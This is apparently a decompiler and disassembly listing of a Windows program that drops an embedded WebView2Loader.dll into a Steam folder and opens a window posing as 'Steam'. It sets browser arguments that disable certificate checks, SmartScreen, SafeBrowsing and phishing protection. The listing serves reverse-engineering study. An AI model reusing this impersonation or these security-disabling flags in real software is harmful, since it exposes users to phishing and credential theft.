  longlong lVar13;
  tagMSG *ptVar14;
  undefined **ppuVar15;
  HANDLE hFile;
  HMODULE pHVar16;
  FARPROC pFVar17;
  FARPROC pFVar18;
  INT_PTR IVar19;
  undefined8 *puVar20;
  longlong *plVar21;
  wchar_t *pwVar22;
  tagMSG *ptVar23;
  tagMSG *ptVar24;
  tagMSG *ptVar25;
  byte *pbVar26;
  tagMSG *ptVar27;
  tagMSG *ptVar28;
  int iVar29;
  tagMSG *ptVar30;
  undefined8 uVar31;
  wchar_t *pwVar32;
  undefined8 in_R9;
  ulonglong *puVar33;
  ulonglong uVar34;
  longlong lVar35;
  undefined4 uVar36;
  undefined4 uVar37;
  undefined1 local_578 [8];
  wchar_t *pwStack_570;
  tagMSG *local_568;
  undefined1 local_558 [8];
  wchar_t *pwStack_550;
  tagMSG *local_548;
  undefined1 local_538 [8];
  wchar_t *pwStack_530;
  tagMSG *local_528;
  undefined1 local_518 [8];
  undefined **ppuStack_510;
  tagMSG *local_508;
  undefined1 local_4f8 [16];
  tagMSG *local_4e8;
  HINSTANCE pHStack_4e0;
  HICON local_4d8;
  HCURSOR pHStack_4d0;
  HBRUSH local_4c8;
  LPCWSTR pWStack_4c0;
  LPCWSTR local_4b8;
  HICON pHStack_4b0;
  undefined4 local_49c;
  HINSTANCE local_498;
  LPVOID local_490;
  MARGINS local_488;
  tagMSG local_478 [11];
  wchar_t local_268 [276];
  
  SetProcessDpiAwarenessContext();
  CoInitializeEx((LPVOID)0x0,2);
  hdc = GetDC((HWND)0x0);
  iVar8 = GetDeviceCaps(hdc,0x58);
  ReleaseDC((HWND)0x0,hdc);
  iVar29 = 0x60;
  if (0x60 < iVar8) {
    iVar29 = iVar8;
  }
  DAT_1400c9000 = MulDiv(0x2c0,iVar29,0x60);
  DAT_1400c9004 = MulDiv(0x1bb,iVar29,0x60);
  GetModuleFileNameW((HMODULE)0x0,local_268,0x104);
  local_4f8._0_8_ = (tagMSG *)0x0;
  local_4f8._8_8_ = (tagMSG *)0x0;
  local_4e8 = (tagMSG *)0x0;
  sVar12 = wcslen(local_268);
  pwVar32 = local_268 + sVar12;
  FUN_140004dc0((ulonglong *)local_4f8,local_268,(longlong)pwVar32);
  plVar21 = (longlong *)local_578;
  pbVar26 = local_4f8;
  FUN_14000a4c0(plVar21,pbVar26);
  pwVar22 = pwStack_570;
  _Src = local_578;
  if ((wchar_t *)0x7ffffffffffffff5 < pwStack_570) {
                    /* WARNING: Subroutine does not return */
    FUN_1400049f0(plVar21,pbVar26,pwVar32,in_R9);
  }
  if (pwStack_570 < (wchar_t *)0xb) {
    local_478[0].hwnd._0_1_ = (code)((char)pwStack_570 * '\x02');
    ptVar27 = (tagMSG *)((longlong)&local_478[0].hwnd + 2);
    if (pwStack_570 != (wchar_t *)0x0) goto LAB_14000157c;
  }
  else {
    lVar35 = 0xe;
    if (((ulonglong)pwStack_570 | 3) != 0xb) {
      lVar35 = ((ulonglong)pwStack_570 | 3) + 1;
    }
    ptVar27 = (tagMSG *)FUN_14001f800(lVar35 * 2,pbVar26,pwVar32,in_R9);
    local_478[0].hwnd._0_1_ = (code)((byte)lVar35 | 1);
    local_478[0].hwnd._1_1_ = (undefined1)((ulonglong)lVar35 >> 8);
    local_478[0].hwnd._2_2_ = (undefined2)((ulonglong)lVar35 >> 0x10);
    local_478[0].hwnd._4_4_ = (undefined4)((ulonglong)lVar35 >> 0x20);
    local_478[0].message = (UINT)pwVar22;
    local_478[0]._12_4_ = (undefined4)((ulonglong)pwVar22 >> 0x20);
    local_478[0].wParam = (WPARAM)ptVar27;
LAB_14000157c:
    memmove(ptVar27,(void *)_Src,(longlong)pwVar22 * 2);
  }
  uVar5 = local_478[0].hwnd._1_1_;
  cVar4 = local_478[0].hwnd._0_1_;
  *(WCHAR *)((longlong)&ptVar27->hwnd + (longlong)pwVar22 * 2) = L'\0';
  WVar7 = local_478[0].wParam;
  uVar6 = local_478[0].hwnd._2_2_;
  local_558 = (undefined1  [8])CONCAT44(local_478[0].message,local_478[0].hwnd._4_4_);
  pwStack_550 = (wchar_t *)CONCAT44(pwStack_550._4_4_,local_478[0]._12_4_);
  if (((byte)DAT_1400c9438 & 1) != 0) {
    FUN_14001f8e0(DAT_1400c9448);
  }
  DAT_1400c9438 = cVar4;
  DAT_1400c9439 = uVar5;
  _DAT_1400c943a = uVar6;
  _DAT_1400c943c = local_558._0_4_;
  DAT_1400c9440._0_4_ = local_558._4_4_;
  DAT_1400c9440._4_4_ = (uint)pwStack_550;
  DAT_1400c9448 = (WNDPROC)WVar7;
  if ((local_4f8._0_8_ & 1) != 0) {
    FUN_14001f8e0(local_4e8);
  }
  hResInfo = FindResourceW((HMODULE)0x0,(LPCWSTR)0x12c,(LPCWSTR)0xa);
  if (hResInfo == (HRSRC)0x0) {
LAB_1400016ae:
    uVar36 = local_538._4_4_;
    local_538._0_2_ = local_538._0_2_ & 0xff00;
    local_538._0_4_ = CONCAT22(0,local_538._0_2_);
    local_538 = (undefined1  [8])CONCAT44(uVar36,local_538._0_4_);
    uVar34 = 0;
  }
  else {
    nNumberOfBytesToWrite = SizeofResource((HMODULE)0x0,hResInfo);
    hResData = LoadResource((HMODULE)0x0,hResInfo);
    local_490 = LockResource(hResData);
    if (local_490 == (LPVOID)0x0 || nNumberOfBytesToWrite == 0) goto LAB_1400016ae;
    if (((byte)DAT_1400c9438 & 1) == 0) {
      local_478[0].wParam = (WPARAM)DAT_1400c9448;
      local_478[0].hwnd._0_1_ = DAT_1400c9438;
      local_478[0].hwnd._1_1_ = DAT_1400c9439;
      local_478[0].hwnd._2_2_ = _DAT_1400c943a;
      local_478[0].hwnd._4_4_ = _DAT_1400c943c;
      local_478[0].message = (UINT)DAT_1400c9440;
      local_478[0]._12_4_ = DAT_1400c9440._4_4_;
    }
    else {
      FUN_140004b30((longlong *)local_478,DAT_1400c9448,
                    CONCAT44(DAT_1400c9440._4_4_,(UINT)DAT_1400c9440),in_R9);
    }
    local_4f8._0_8_ = (tagMSG *)0x0;
    local_4f8._8_8_ = (tagMSG *)0x0;
    local_4e8 = (tagMSG *)0x0;
    puVar33 = (ulonglong *)0x1;
    FUN_140004bc0((longlong *)local_4f8,param_2,param_3,param_4);
    if (((byte)local_478[0].hwnd._0_1_ & 1) != 0) {
      FUN_14001f8e0((void *)local_478[0].wParam);
    }
    pwVar22 = L"LOCALAPPDATA";
    ptVar27 = local_478;
    pwVar32 = (wchar_t *)0x104;
    DVar9 = GetEnvironmentVariableW(L"LOCALAPPDATA",(LPWSTR)ptVar27,0x104);
    if (DVar9 != 0) {
      local_558 = (undefined1  [8])0x0;
      pwStack_550 = (wchar_t *)0x0;
      local_548 = (tagMSG *)0x0;
      sVar12 = wcslen((wchar_t *)local_478);
      FUN_140004dc0((ulonglong *)local_558,local_478,(longlong)&local_478[0].hwnd + sVar12 * 2);
      local_518 = (undefined1  [8])0x0;
      ppuStack_510 = (undefined **)0x0;
      local_508 = (tagMSG *)0x0;
      pwVar32 = L"";
      FUN_140004dc0((ulonglong *)local_518,L"Steam",0x14009b27c);
      if (((ulonglong)local_558 & 1) == 0) {
        local_568 = local_548;
        local_578 = local_558;
        pwStack_570 = pwStack_550;
      }
      else {
        pwVar32 = pwStack_550;
        FUN_140004b30((longlong *)local_578,local_548,(ulonglong)pwStack_550,puVar33);
      }
      pwVar22 = (wchar_t *)local_578;
      ptVar27 = (tagMSG *)local_518;
      FUN_140005050((ulonglong *)pwVar22,(ulonglong *)ptVar27,(size_t)pwVar32,(ulonglong)puVar33);
      if ((ulonglong)local_4f8._8_8_ < local_4e8) {
        *(tagMSG **)(local_4f8._8_8_ + 0x10) = local_568;
        *(HWND *)local_4f8._8_8_ = (HWND)local_578;
        *(wchar_t **)(local_4f8._8_8_ + 8) = pwStack_570;
        local_578 = (undefined1  [8])0x0;
        pwStack_570 = (wchar_t *)0x0;
        local_568 = (tagMSG *)0x0;
        ptVar28 = (tagMSG *)(local_4f8._8_8_ + 0x18);
      }
      else {
        uVar31 = 0xaaaaaaaaaaaaaaa;
        lVar35 = local_4f8._8_8_ - local_4f8._0_8_;
        pwVar32 = (wchar_t *)0xaaaaaaaaaaaaaaab;
        uVar34 = (lVar35 >> 3) * -0x5555555555555555 + 1;
        if (0xaaaaaaaaaaaaaaa < uVar34) {
          ptVar27 = (tagMSG *)local_4f8._0_8_;
          FUN_140004d50(0xaaaaaaaaaaaaaaa,local_4f8._0_8_,0xaaaaaaaaaaaaaaab,puVar33);
LAB_140002280:
                    /* WARNING: Subroutine does not return */
          FUN_140004a90(uVar31,ptVar27,pwVar32,puVar33);
        }
        lVar13 = (longlong)local_4e8 - local_4f8._0_8_ >> 3;
        uVar1 = lVar13 * 0x5555555555555556;
        if (uVar34 < uVar1) {
          uVar34 = uVar1;
        }
        ptVar27 = (tagMSG *)0x555555555555555;
        if (0x555555555555554 < (ulonglong)(lVar13 * -0x5555555555555555)) {
          uVar34 = 0xaaaaaaaaaaaaaaa;
        }
        if (0xaaaaaaaaaaaaaaa < uVar34) goto LAB_140002280;
        lVar13 = FUN_14001f800(uVar34 * 0x18,0x555555555555555,0xaaaaaaaaaaaaaaab,puVar33);
        uVar31 = local_4f8._8_8_;
        ptVar27 = local_568;
        pwVar22 = (wchar_t *)(lVar13 + lVar35);
        ptVar25 = (tagMSG *)(lVar13 + uVar34 * 0x18);
        *(tagMSG **)(lVar13 + 0x10 + lVar35) = local_568;
        *(ulonglong *)(lVar13 + lVar35) = (ulonglong)local_578;
        ((ulonglong *)(lVar13 + lVar35))[1] = (ulonglong)pwStack_570;
        local_578 = (undefined1  [8])0x0;
        pwStack_570 = (wchar_t *)0x0;
        local_568 = (tagMSG *)0x0;
        ptVar28 = (tagMSG *)(lVar13 + 0x18 + lVar35);
        ptVar24 = (tagMSG *)((longlong)pwVar22 + (local_4f8._0_8_ - local_4f8._8_8_));
        ptVar14 = (tagMSG *)local_4f8._0_8_;
        ptVar23 = ptVar24;
        if (local_4f8._0_8_ - local_4f8._8_8_ != 0) {
          do {
            ptVar27 = (tagMSG *)ptVar14->wParam;
            ptVar23->wParam = (WPARAM)ptVar27;
            uVar36 = *(undefined4 *)&ptVar14->hwnd;
            uVar37 = *(undefined4 *)((longlong)&ptVar14->hwnd + 4);
            UVar2 = ptVar14->message;
            uVar3 = *(undefined4 *)&ptVar14->field_0xc;
            *(undefined4 *)&ptVar23->hwnd = uVar36;
            *(undefined4 *)((longlong)&ptVar23->hwnd + 4) = uVar37;
            ptVar23->message = UVar2;
            *(undefined4 *)&ptVar23->field_0xc = uVar3;
            ptVar14->hwnd = (HWND)0x0;
            *(undefined8 *)&ptVar14->message = 0;
            ptVar14->wParam = 0;
            ptVar14 = (tagMSG *)&ptVar14->lParam;
            pwVar22 = (wchar_t *)&ptVar23->lParam;
            ptVar23 = (tagMSG *)pwVar22;
            ptVar30 = (tagMSG *)local_4f8._0_8_;
          } while (ptVar14 != (tagMSG *)local_4f8._8_8_);
          do {
            if (((ulonglong)ptVar30->hwnd & 1) != 0) {
              pwVar22 = (wchar_t *)ptVar30->wParam;
              FUN_14001f8e0(pwVar22);
            }
            param_2 = CONCAT44(uVar37,uVar36);
            ptVar30 = (tagMSG *)&ptVar30->lParam;
            ptVar14 = (tagMSG *)local_4f8._0_8_;
          } while (ptVar30 != (tagMSG *)uVar31);
        }
        local_4f8._0_8_ = ptVar24;
        local_4e8 = ptVar25;
        if (ptVar14 != (tagMSG *)0x0) {
          local_4f8._8_8_ = ptVar28;
          FUN_14001f8e0(ptVar14);
          pwVar22 = (wchar_t *)ptVar14;
        }
      }
      ptVar25 = local_508;
      local_4f8._8_8_ = ptVar28;
      if (((ulonglong)local_578 & 1) != 0) {
        pwVar22 = (wchar_t *)local_568;
        FUN_14001f8e0(local_568);
        ptVar25 = local_508;
      }
      ptVar24 = local_548;
      local_508 = ptVar25;
      if (((ulonglong)local_518 & 1) != 0) {
        FUN_14001f8e0(ptVar25);
        pwVar22 = (wchar_t *)ptVar25;
        ptVar24 = local_548;
      }
      local_548 = ptVar24;
      if (((ulonglong)local_558 & 1) != 0) {
        FUN_14001f8e0(ptVar24);
        pwVar22 = (wchar_t *)ptVar24;
      }
    }
    uVar31 = local_4f8._8_8_;
    ptVar25 = (tagMSG *)local_4f8._0_8_;
    local_498 = param_1;
    if (local_4f8._0_8_ != local_4f8._8_8_) {
      ppuVar15 = FUN_1400160f0(pwVar22,ptVar27,pwVar32,puVar33);
      do {
        local_518 = (undefined1  [8])((ulonglong)local_518 & 0xffffffff00000000);
        ppuStack_510 = ppuVar15;
        FUN_140018e00((byte *)ptVar25,param_2,param_3,param_4);
        local_558 = (undefined1  [8])0x0;
        pwStack_550 = (wchar_t *)0x0;
        local_548 = (tagMSG *)0x0;
        pwVar22 = L"";
        FUN_140004dc0((ulonglong *)local_558,L"WebView2Loader.dll",0x14009b83a);
        if (((ulonglong)ptVar25->hwnd & 1) == 0) {
          local_568 = (tagMSG *)ptVar25->wParam;
          local_578 = (undefined1  [8])ptVar25->hwnd;
          pwStack_570 = *(wchar_t **)&ptVar25->message;
        }
        else {
          pwVar22 = *(wchar_t **)&ptVar25->message;
          FUN_140004b30((longlong *)local_578,(void *)ptVar25->wParam,(ulonglong)pwVar22,puVar33);
        }
        FUN_140005050((ulonglong *)local_578,(ulonglong *)local_558,(size_t)pwVar22,
                      (ulonglong)puVar33);
        if (((ulonglong)local_558 & 1) != 0) {
          FUN_14001f8e0(local_548);
        }
        ptVar27 = (tagMSG *)(local_578 + 2);
        if (((ulonglong)local_578 & 1) != 0) {
          ptVar27 = local_568;
        }
        puVar33 = (ulonglong *)0x0;
        hFile = CreateFileW((LPCWSTR)ptVar27,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,
                            (HANDLE)0x0);
        if (hFile == (HANDLE)0xffffffffffffffff) {
          iVar29 = 3;
        }
        else {
          local_558 = (undefined1  [8])((ulonglong)local_558 & 0xffffffff00000000);
          puVar33 = (ulonglong *)local_558;
          WriteFile(hFile,local_490,nNumberOfBytesToWrite,(LPDWORD)local_558,(LPOVERLAPPED)0x0);
          CloseHandle(hFile);
          iVar29 = 0;
          if (local_558._0_4_ == nNumberOfBytesToWrite) {
            if (((ulonglong)local_578 & 1) == 0) {
              local_528 = local_568;
              local_538 = local_578;
              pwStack_530 = pwStack_570;
              iVar29 = 1;
            }
            else {
              iVar29 = 1;
              FUN_140004b30((longlong *)local_538,local_568,(ulonglong)pwStack_570,puVar33);
            }
          }
        }
        if (((ulonglong)local_578 & 1) != 0) {
          FUN_14001f8e0(local_568);
        }
        if ((iVar29 != 3) && (iVar29 != 0)) goto LAB_140001bf8;
        ptVar25 = (tagMSG *)&ptVar25->lParam;
      } while (ptVar25 != (tagMSG *)uVar31);
    }
    uVar36 = local_538._4_4_;
    local_538._0_2_ = local_538._0_2_ & 0xff00;
    local_538._0_4_ = CONCAT22(0,local_538._0_2_);
    local_538 = (undefined1  [8])CONCAT44(uVar36,local_538._0_4_);
LAB_140001bf8:
    param_1 = local_498;
    uVar31 = local_4f8._0_8_;
    ptVar27 = (tagMSG *)local_4f8._8_8_;
    if ((tagMSG *)local_4f8._0_8_ != (tagMSG *)0x0) {
      for (; (tagMSG *)uVar31 != ptVar27; ptVar27 = (tagMSG *)&ptVar27[-1].lParam) {
        if ((ptVar27[-1].lParam & 1) != 0) {
          FUN_14001f8e0(*(void **)&ptVar27[-1].pt.y);
        }
      }
      local_4f8._8_8_ = uVar31;
      FUN_14001f8e0((void *)local_4f8._0_8_);
    }
    uVar34 = (ulonglong)local_538 & 0xff;
    pwVar22 = pwStack_530;
    if (((ulonglong)local_538 & 1) != 0) goto LAB_140001c66;
  }
  pwVar22 = (wchar_t *)(uVar34 >> 1);
LAB_140001c66:
  uVar31 = 1;
  if (pwVar22 != (wchar_t *)0x0) {
    ptVar27 = local_528;
    if ((uVar34 & 1) == 0) {
      ptVar27 = (tagMSG *)(local_538 + 2);
    }
    pHVar16 = LoadLibraryW((LPCWSTR)ptVar27);
    if ((pHVar16 != (HMODULE)0x0) &&
       (pFVar17 = GetProcAddress(pHVar16,"CreateCoreWebView2EnvironmentWithOptions"),
       pFVar17 != (FARPROC)0x0)) {
      local_4e8 = (tagMSG *)0x0;
      local_4b8 = (LPCWSTR)0x0;
      pHStack_4b0 = (HICON)0x0;
      local_4c8 = (HBRUSH)0x0;
      pWStack_4c0 = (LPCWSTR)0x0;
      local_4d8 = (HICON)0x0;
      pHStack_4d0 = (HCURSOR)0x0;
      local_4f8._0_8_ = (tagMSG *)0x300000050;
      local_4f8._8_8_ = WndProc;
      pHStack_4e0 = param_1;
      pHStack_4d0 = LoadCursorW((HINSTANCE)0x0,(LPCWSTR)0x7f00);
      local_4c8 = GetStockObject(4);
      local_4d8 = LoadIconW(param_1,(LPCWSTR)0x1);
      pHStack_4b0 = LoadIconW(param_1,(LPCWSTR)0x1);
      local_4b8 = L"SteamWindow";
      RegisterClassExW((WNDCLASSEXW *)local_4f8);
      iVar8 = GetSystemMetrics(0);
      iVar29 = DAT_1400c9000;
      iVar10 = GetSystemMetrics(1);
      DAT_1400c9450 =
           CreateWindowExW(0,local_4b8,L"Steam",0x82020000,(iVar8 - iVar29) / 2,
                           (iVar10 - DAT_1400c9004) / 2,DAT_1400c9000,DAT_1400c9004,(HWND)0x0,
                           (HMENU)0x0,param_1,(LPVOID)0x0);
      local_488.cxLeftWidth = _DAT_14009b280;
      local_488.cxRightWidth = _UNK_14009b284;
      local_488.cyTopHeight = _UNK_14009b288;
      local_488.cyBottomHeight = _UNK_14009b28c;
      DwmExtendFrameIntoClientArea(DAT_1400c9450,&local_488);
      local_49c = 1;
      uVar34 = 4;
      DwmSetWindowAttribute(DAT_1400c9450,0x14,&local_49c,4);
      pHVar16 = GetModuleHandleW(L"ntdll.dll");
      if ((pHVar16 != (HMODULE)0x0) &&
         (pFVar18 = GetProcAddress(pHVar16,"RtlGetVersion"), pFVar18 != (FARPROC)0x0)) {
        memset((void *)((longlong)&local_478[0].hwnd + 4),0,0x118);
        local_478[0].hwnd._0_1_ = (code)0x1c;
        local_478[0].hwnd._1_1_ = 1;
        local_478[0].hwnd._2_2_ = 0;
        IVar19 = (*pFVar18)(local_478);
        if (((int)IVar19 == 0) && (21999 < (uint)local_478[0]._12_4_)) {
          local_578._0_4_ = 2;
          uVar34 = 4;
          DwmSetWindowAttribute(DAT_1400c9450,0x21,local_578,4);
        }
      }
      UpdateWindow(DAT_1400c9450);
      local_478[0].hwnd._0_1_ = (code)0x0;
      local_478[0].hwnd._1_1_ = 0;
      local_478[0].hwnd._2_2_ = 0;
      local_478[0].hwnd._4_4_ = 0;
      local_478[0].message = 0;
      local_478[0]._12_4_ = 0;
      local_478[0].wParam = 0;
      pwVar22 = L"";
      FUN_140004dc0((ulonglong *)local_478,L"userdata",0x14009b2c2);
      if (((byte)DAT_1400c9438 & 1) == 0) {
        local_548 = (tagMSG *)DAT_1400c9448;
        local_558 = (undefined1  [8])
                    CONCAT44(_DAT_1400c943c,
                             CONCAT22(_DAT_1400c943a,CONCAT11(DAT_1400c9439,DAT_1400c9438)));
        pwStack_550 = (wchar_t *)CONCAT44(DAT_1400c9440._4_4_,(UINT)DAT_1400c9440);
      }
      else {
        pwVar22 = (wchar_t *)CONCAT44(DAT_1400c9440._4_4_,(UINT)DAT_1400c9440);
        FUN_140004b30((longlong *)local_558,DAT_1400c9448,(ulonglong)pwVar22,uVar34);
      }
      ptVar27 = (tagMSG *)local_558;
      ptVar25 = local_478;
      FUN_140005050((ulonglong *)ptVar27,(ulonglong *)ptVar25,(size_t)pwVar22,uVar34);
      if (((byte)local_478[0].hwnd._0_1_ & 1) != 0) {
        ptVar27 = (tagMSG *)local_478[0].wParam;
        FUN_14001f8e0((void *)local_478[0].wParam);
      }
      local_518 = (undefined1  [8])((ulonglong)local_518 & 0xffffffff00000000);
      ppuStack_510 = FUN_1400160f0(ptVar27,ptVar25,pwVar22,uVar34);
      lVar35 = 0;
      do {
        pwVar32 = *(wchar_t **)((longlong)&PTR_u_EBWebView_Cache_14009b8c0 + lVar35);
        local_578 = (undefined1  [8])0x0;
        pwStack_570 = (wchar_t *)0x0;
        local_568 = (tagMSG *)0x0;
        sVar12 = wcslen(pwVar32);
        pwVar22 = pwVar32 + sVar12;
        FUN_140004dc0((ulonglong *)local_578,pwVar32,(longlong)pwVar22);
        if (((ulonglong)local_558 & 1) == 0) {
          local_478[0].wParam = (WPARAM)local_548;
          local_478[0].hwnd._0_1_ = local_558[0];
          local_478[0].hwnd._1_1_ = local_558[1];
          local_478[0].hwnd._2_2_ = local_558._2_2_;
          local_478[0].hwnd._4_4_ = local_558._4_4_;
          local_478[0].message = (UINT)pwStack_550;
          local_478[0]._12_4_ = (undefined4)((ulonglong)pwStack_550 >> 0x20);
        }
        else {
          pwVar22 = pwStack_550;
          FUN_140004b30((longlong *)local_478,local_548,(ulonglong)pwStack_550,uVar34);
        }
        FUN_140005050((ulonglong *)local_478,(ulonglong *)local_578,(size_t)pwVar22,uVar34);
        FUN_14001a620((byte *)local_478,param_2,param_3,param_4);
        if (((byte)local_478[0].hwnd._0_1_ & 1) != 0) {
          FUN_14001f8e0((void *)local_478[0].wParam);
        }
        if (((ulonglong)local_578 & 1) != 0) {
          FUN_14001f8e0(local_568);
        }
        lVar35 = lVar35 + 8;
      } while (lVar35 != 0x28);
      pwVar32 = 
      L"--ignore-certificate-errors --allow-running-insecure-content --disable-web-security --no-first-run --disable-popup-blocking --disable-features=msSmartScreenProtection,msEnhancedSecurityMode,msSafeLinksValidation,EdgeSafetyTips,InternetExplorerIntegration,SmartScreen,SafeBrowsing,SafeBrowsingEnhancedProtection,PhishingProtection,InsecureFormWarnings,HttpsUpgrades,HttpsFirstModeV2,AutomaticHttpsDefault,CertificateTransparencyComponentUpdater,RendererCodeIntegrity,BlockInsecurePrivateNetworkRequests --disable-client-side-phishing-detection --disable-component-update --disable-domain-reliability --no-pings --inprivate"
      ;
      SetEnvironmentVariableW
                (L"WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS",
                 L"--ignore-certificate-errors --allow-running-insecure-content --disable-web-security --no-first-run --disable-popup-blocking --disable-features=msSmartScreenProtection,msEnhancedSecurityMode,msSafeLinksValidation,EdgeSafetyTips,InternetExplorerIntegration,SmartScreen,SafeBrowsing,SafeBrowsingEnhancedProtection,PhishingProtection,InsecureFormWarnings,HttpsUpgrades,HttpsFirstModeV2,AutomaticHttpsDefault,CertificateTransparencyComponentUpdater,RendererCodeIntegrity,BlockInsecurePrivateNetworkRequests --disable-client-side-phishing-detection --disable-component-update --disable-domain-reliability --no-pings --inprivate"
                );
      if (((ulonglong)local_558 & 1) == 0) {
        local_478[0].wParam = (WPARAM)local_548;
        local_478[0].hwnd._0_1_ = local_558[0];
        local_478[0].hwnd._1_1_ = local_558[1];
        local_478[0].hwnd._2_2_ = local_558._2_2_;
        local_478[0].hwnd._4_4_ = local_558._4_4_;
        local_478[0].message = (UINT)pwStack_550;
        local_478[0]._12_4_ = (undefined4)((ulonglong)pwStack_550 >> 0x20);
      }
      else {
        pwVar32 = (wchar_t *)local_548;
        pwVar22 = pwStack_550;
        FUN_140004b30((longlong *)local_478,local_548,(ulonglong)pwStack_550,uVar34);
      }
      puVar20 = (undefined8 *)FUN_14001f800(0x10,pwVar32,pwVar22,uVar34);
      *puVar20 = 0;
      puVar20[1] = 0;
      *puVar20 = &PTR_LAB_14009f0b0;
      *(undefined4 *)(puVar20 + 1) = 1;
      IVar19 = (*pFVar17)(0);
      if (((byte)local_478[0].hwnd._0_1_ & 1) != 0) {
        FUN_14001f8e0((void *)local_478[0].wParam);
      }
      if ((int)IVar19 < 0) {
        uVar31 = 1;
      }
      else {
        while (BVar11 = GetMessageW(local_478,(HWND)0x0,0,0), BVar11 != 0) {
          TranslateMessage(local_478);
          DispatchMessageW(local_478);
        }
        if (DAT_1400c9458 != (longlong *)0x0) {
          (**(code **)(*DAT_1400c9458 + 0x10))();
        }
        if (DAT_1400c9460 != (longlong *)0x0) {
          (**(code **)(*DAT_1400c9460 + 0x10))();
        }
        CoUninitialize();
        uVar31 = 0;
      }
      if (((ulonglong)local_558 & 1) != 0) {
        FUN_14001f8e0(local_548);
      }
    }
  }
  if (((ulonglong)local_538 & 1) != 0) {
    FUN_14001f8e0(local_528);
  }
  return uVar31;
}

Assembly · 713 instructions, 62 annotated

Address	Bytes	Instruction	Comment
140001400	41 57	PUSH R15
140001402	41 56	PUSH R14
140001404	41 55	PUSH R13
140001406	41 54	PUSH R12
140001408	56	PUSH RSI
140001409	57	PUSH RDI
14000140a	55	PUSH RBP
14000140b	53	PUSH RBX
14000140c	48 81 ec 98 05 00 00	SUB RSP,0x598
140001413	0f 29 b4 24 80 05 00 00	MOVAPS xmmword ptr [RSP + local_58[0]],XMM6
14000141b	49 89 cd	MOV R13,RCX
14000141e	48 c7 c1 fc ff ff ff	MOV RCX,-0x4
140001425	ff 15 7d 0f 0b 00	CALL qword ptr [PTR_SetProcessDpiAwarenessContext_1400b23a8]
14000142b	31 c9	XOR ECX,ECX
14000142d	ba 02 00 00 00	MOV EDX,0x2
140001432	ff 15 48 0e 0b 00	CALL qword ptr [PTR_CoInitializeEx_1400b2280]
140001438	31 c9	XOR ECX,ECX
14000143a	ff 15 f8 0e 0b 00	CALL qword ptr [PTR_GetDC_1400b2338]
140001440	48 89 c6	MOV RSI,RAX
140001443	48 89 c1	MOV RCX,RAX
140001446	ba 58 00 00 00	MOV EDX,0x58
14000144b	ff 15 87 0f 0b 00	CALL qword ptr [PTR_GetDeviceCaps_1400b23d8]
140001451	89 c7	MOV EDI,EAX
140001453	31 c9	XOR ECX,ECX
140001455	48 89 f2	MOV RDX,RSI
140001458	ff 15 32 0f 0b 00	CALL qword ptr [PTR_ReleaseDC_1400b2390]
14000145e	83 ff 61	CMP EDI,0x61
140001461	be 60 00 00 00	MOV ESI,0x60
140001466	0f 4d f7	CMOVGE ESI,EDI
140001469	48 8b 3d c8 14 0b 00	MOV RDI,qword ptr [PTR_MulDiv_1400b2938]
140001470	b9 c0 02 00 00	MOV ECX,0x2c0
140001475	89 f2	MOV EDX,ESI
140001477	41 b8 60 00 00 00	MOV R8D,0x60
14000147d	ff d7	CALL RDI
14000147f	89 05 7b 7b 0c 00	MOV dword ptr [DAT_1400c9000],EAX
140001485	b9 bb 01 00 00	MOV ECX,0x1bb
14000148a	89 f2	MOV EDX,ESI
14000148c	41 b8 60 00 00 00	MOV R8D,0x60
140001492	ff d7	CALL RDI
140001494	89 05 6a 7b 0c 00	MOV dword ptr [DAT_1400c9004],EAX
14000149a	48 8d b4 24 70 03 00 00	LEA RSI,[RSP + 0x370]
1400014a2	31 c9	XOR ECX,ECX
1400014a4	48 89 f2	MOV RDX,RSI
1400014a7	41 b8 04 01 00 00	MOV R8D,0x104
1400014ad	ff 15 fd 13 0b 00	CALL qword ptr [PTR_GetModuleFileNameW_1400b28b0]
1400014b3	0f 57 c0	XORPS XMM0,XMM0
1400014b6	0f 29 84 24 e0 00 00 00	MOVAPS xmmword ptr [RSP + local_4f8[0]],XMM0
1400014be	48 c7 84 24 f0 00 00 00 …	MOV qword ptr [RSP + local_4e8[0]],0x0
1400014ca	48 89 f1	MOV RCX,RSI
1400014cd	e8 be 8d 09 00	CALL wcslen
1400014d2	4c 8d 04 44	LEA R8,[RSP + RAX*0x2]
1400014d6	49 81 c0 70 03 00 00	ADD R8,0x370
1400014dd	48 8d 8c 24 e0 00 00 00	LEA RCX,[RSP + 0xe0]
1400014e5	48 89 f2	MOV RDX,RSI
1400014e8	e8 d3 38 00 00	CALL FUN_140004dc0	; FUN_140004dc0: memcpy, __acrt_iob_func, RtlUnwindEx, memmove
1400014ed	48 8d 4c 24 60	LEA RCX,[RSP + 0x60]
1400014f2	48 8d 94 24 e0 00 00 00	LEA RDX,[RSP + 0xe0]
1400014fa	e8 c1 8f 00 00	CALL FUN_14000a4c0
1400014ff	48 8b 5c 24 68	MOV RBX,qword ptr [RSP + local_578[8]]
140001504	48 b8 f6 ff ff ff ff ff …	MOV RAX,0x7ffffffffffffff6
14000150e	48 39 c3	CMP RBX,RAX
140001511	0f 83 5f 0d 00 00	JNC LAB_140002276
140001517	48 8b 74 24 60	MOV RSI,qword ptr [RSP + local_578[0]]
14000151c	48 83 fb 0b	CMP RBX,0xb
140001520	73 19	JNC LAB_14000153b
140001522	8d 04 1b	LEA EAX,[RBX + RBX*0x1]
140001525	88 84 24 60 01 00 00	MOV byte ptr [RSP + local_478[0]],AL
14000152c	48 8d bc 24 62 01 00 00	LEA RDI,[RSP + 0x162]
140001534	48 85 db	TEST RBX,RBX
140001537	75 43	JNZ LAB_14000157c
140001539	eb 50	JMP LAB_14000158b
LAB_14000153b:
14000153b	48 89 d8	MOV RAX,RBX
14000153e	48 83 c8 03	OR RAX,0x3
140001542	48 8d 48 01	LEA RCX,[RAX + 0x1]
140001546	48 83 f8 0b	CMP RAX,0xb
14000154a	41 be 0e 00 00 00	MOV R14D,0xe
140001550	4c 0f 45 f1	CMOVNZ R14,RCX
140001554	4b 8d 0c 36	LEA RCX,[R14 + R14*0x1]
140001558	e8 a3 e2 01 00	CALL FUN_14001f800	; FUN_14001f800: malloc
14000155d	48 89 c7	MOV RDI,RAX
140001560	48 89 84 24 70 01 00 00	MOV qword ptr [RSP + local_468],RAX
140001568	49 83 ce 01	OR R14,0x1
14000156c	4c 89 b4 24 60 01 00 00	MOV qword ptr [RSP + local_478[0]],R14
140001574	48 89 9c 24 68 01 00 00	MOV qword ptr [RSP + local_478[8]],RBX
LAB_14000157c:
14000157c	4c 8d 04 1b	LEA R8,[RBX + RBX*0x1]
